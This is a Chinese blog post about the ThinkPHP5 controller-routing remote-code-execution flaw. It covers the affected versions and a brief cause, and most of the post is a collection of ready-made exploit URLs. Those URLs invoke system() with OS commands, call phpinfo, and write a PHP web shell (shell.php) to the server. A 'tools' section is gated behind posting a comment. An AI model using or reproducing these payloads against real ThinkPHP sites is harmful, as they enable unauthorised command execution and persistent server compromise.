⭐⭐⭐ThinkPHP5框架控制器路由缺陷导致远程命令执行

原创 sauren  2018-12-13 16:56  阅读 587 views 次 评论 1 条

近日thinkphp团队发布了版本更新https://blog.thinkphp.cn/869075 ,其中修复了一处由于控制器路由问题导致的getshell漏洞。

一、涉及版本

thinkphp5系列  :5.x < 5.1.31     <= 5.0.23

二、漏洞成因

rseModuleAndClass方法中,当$name以反斜线\开始时直接将其作为类名。利用命名空间的特点,如果可以控制此处的$name(即路由中的controller部分),那么就可以实例化任何一个类。

三、目前流行POC集合

http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=操作系统命令
http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

四、利用工具

此处为隐藏的内容!
发表评论并刷新,才能查看
本文地址:https://www.sk15.net/archives/105.html
版权声明:本文为原创文章,版权归 sauren 所有,欢迎分享本文,转载请保留出处!
高性能云服务器特惠

发表评论


表情

  1. qq_avatar
    lmckira @回复

    谢谢分享